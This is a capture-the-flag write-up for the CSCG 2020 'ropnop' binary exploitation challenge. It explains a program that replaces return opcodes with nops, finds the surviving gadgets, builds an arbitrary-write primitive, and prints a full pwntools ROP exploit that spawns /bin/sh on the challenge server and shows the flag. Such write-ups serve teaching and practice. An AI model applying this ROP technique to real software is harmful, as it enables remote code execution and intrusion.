The binary and the sourc code are given.
First we take a look at the source code.
// clang -fno-stack-protector ./ropnop.c -o ropnop
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
extern unsigned char __executable_start;
extern unsigned char etext;
void init_buffering() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void gadget_shop() {
// look at all these cool gadgets
__asm__("syscall; ret");
__asm__("pop %rax; ret");
__asm__("pop %rdi; ret");
__asm__("pop %rsi; ret");
__asm__("pop %rdx; ret");
}
void ropnop() {
unsigned char *start = &__executable_start;
unsigned char *end = &etext;
printf("[defusing returns] start: %p - end: %p\n", start, end);
mprotect(start, end-start, PROT_READ|PROT_WRITE|PROT_EXEC);
unsigned char *p = start;
while (p != end) {
// if we encounter a ret instruction, replace it with nop!
if (*p == 0xc3)
*p = 0x90;
p++;
}
}
int main(void) {
init_buffering();
ropnop();
int* buffer = (int*)&buffer;
read(0, buffer, 0x1337);
return 0;
}
There is a function called gadget_shop()
which may be a help to provide useful gadgets for a rop chain. There is no call to this function. The function ropnop()
leaks the two pointers __executable_start
and etext
. I never heard of those pointers, so i looked them up. Here i could find a explanation that they are pointing to the start of the binary and the end of the text section. After the leak a mprotect
call is made to allow reading writing and between these pointers. Then a loop iterates over each byte starting from the start to the end pointer. If the byte is a return
instruction (0xc3) it gets replaced by a nop
instruction(0x90). In the main functionropnop()
is called. After that the pointer buffer is initialized. As I looked at the code the first time I wondered, that this program can be compiled. In this line a pointer pointing to itself is created. After that 0x1337 bytes are read to this pointer.
There is no real buffer, but we get a buffer overflow from that read. The data are are written in the pointer. The returns are noped out in the loop in ropnop
, but the compare to the return
instruction is also overwritten with a nop
.Therefore in the following iterations instead of the return
statement the nop
statement is replaced with nop
. The gadgets after the loop are available.
To find remaining gadgets we break after the call to ropnop()
and search for remaining returns in the binary.
gef➤ search-pattern 0xc3 little 0x0000555555554000-0x0000555555558000
search-pattern 0xc3 little 0x55a981c64000-0x55a981c65375
[+] Searching '\xc3' in 0x55a981c64000-0x55a981c65375
[+] In '/home/simon/git/CTF/CSCG_2020/pwn/ropnop/ropnop'(0x55a981c64000-0x55a981c65000), permission=rwx
0x55a981c6529b - 0x55a981c6529f → "\xc3[...]"
0x55a981c652e1 - 0x55a981c652e5 → "\xc3[...]"
0x55a981c652f9 - 0x55a981c652fd → "\xc3[...]"
0x55a981c6533f - 0x55a981c65343 → "\xc3[...]"
0x55a981c65354 - 0x55a981c65358 → "\xc3[...]"
0x55a981c65364 - 0x55a981c65368 → "\xc3[...]"
0x55a981c65374 - 0x55a981c65378 → "\xc3[...]"
To get the gadget, we have to look at the instructions directly before the retrun
instruction. The following gadget looks interesting.
0x000055a981c652cf <+47>: call 0x55a981c65040 <read@plt>
0x000055a981c652d4 <+52>: xor ecx,ecx
0x000055a981c652d6 <+54>: mov QWORD PTR [rbp-0x18],rax
0x000055a981c652da <+58>: mov eax,ecx
0x000055a981c652dc <+60>: add rsp,0x20
0x000055a981c652e0 <+64>: pop rbp
0x000055a981c652e1 <+65>: ret
With this gadget from the main we can get an arbitrary write. We pop the target address + 0x18 to rbp. Then we write the number of bytes read (the return of the read
function) with QWORD PTR [rbp-0x18],rax
to the target address we specified. But we have a limit, because we can only wirte values between 0 and 0x1337 because this is the maximum size we can read.
Because we are in little-endian if we can write 0x90 to a address, the 0x90 will be the first byte followed by null bytes. Therefore we can simply write a return statement at the end of our gadget shop. This gives us the whole gadget shop as one single gadget.
So we pop the address at the end of the gadget shop into rbp, then read with a new 0xc3 bytes to get a ret instruction. These are written with the arbitrary write gadget. After that, the gadget shop looks like this:
gef➤ pdisass gadget_shop
0x000055a981c651e0 <+0>: push rbp
0x000055a981c651e1 <+1>: mov rbp,rsp
0x000055a981c651e4 <+4>: syscall
0x000055a981c651e6 <+6>: nop
0x000055a981c651e7 <+7>: pop rax
0x000055a981c651e8 <+8>: nop
0x000055a981c651e9 <+9>: pop rdi
0x000055a981c651ea <+10>: nop
0x000055a981c651eb <+11>: pop rsi
0x000055a981c651ec <+12>: nop
0x000055a981c651ed <+13>: pop rdx
0x000055a981c651ee <+14>: nop
0x000055a981c651ef <+15>: ret
First we need a address of /bin/sh
so we make another read syscall to an writeable address (I used the binary base) inorder to read /bin/sh
from stdin. Then we are able to call execve("/bin/sh", 0, 0)
using the pops and then the syscall from gadget shop.
Here is the full exploit:
#!/usr/bin/python3.7
from pwn import *
context.arch = 'amd64'
context.bits = 64
chal = './ropnop'
p = remote('hax1.allesctf.net', 9300)
e = ELF(chal)
p.recvuntil(b'[defusing returns] start: ')
binary_base = int(p.recvuntil(b' ')[:-1], 16)
log.info('leaked binary %s' % hex(binary_base))
p.recv()
# gadget
"""
0x000055a981c652cf <+47>: call 0x55a981c65040
0x000055a981c652d4 <+52>: xor ecx,ecx
0x000055a981c652d6 <+54>: mov QWORD PTR [rbp-0x18],rax
0x000055a981c652da <+58>: mov eax,ecx
0x000055a981c652dc <+60>: add rsp,0x20
0x000055a981c652e0 <+64>: pop rbp
0x000055a981c652e1 <+65>: ret
"""
writeaddr = binary_base + 0x11ef + 0x18 # add 0x18 because of gadget
read_gadget = binary_base + 0x12cf
write_gadget = binary_base + 0x12d4
pop_gadget = binary_base + 0x11e7
syscall_gadget = binary_base + 0x11e4
asm_return = 0xc3
rop = b''
rop += p64(0xdeadbeefdeadbeef)*2
rop += p64(writeaddr)
rop += p64(read_gadget)
p.sendline(rop)
input()
rop = b''
rop += p64(0xdeadbeefdeadbeef)*2
rop += p64(writeaddr)
rop += p64(write_gadget)
rop += p64(0xdeadbeefdeafbeef)*4
rop += p64(read_gadget)
# read /bin/sh to binary base
# call read(0, binary_base, 0x1337);
# rax=0 rdi rsi rdx
rop += p64(pop_gadget)
rop += p64(0) #pop rax
rop += p64(0) #pop rdi
rop += p64(binary_base) #pop rsi
rop += p64(0x1337) #pop rdx
rop += p64(syscall_gadget)
# call execve("/bin/sh", 0, 0)
# rax=59 rdi rsi rdx
rop += p64(59) #pop rax
rop += p64(binary_base) #pop rdi
rop += p64(0) #pop rsi
rop += p64(0) #pop rdx
rop += p64(syscall_gadget)
rop += b'/bin/sh\x00'
p.sendline(rop + b'A'*(asm_return-len(rop)-1))
input()
p.sendline(b'/bin/sh\x00')
p.interactive()
This gives us the shell and the flag CSCG{s3lf_m0d1fy1ng_c0dez!}
.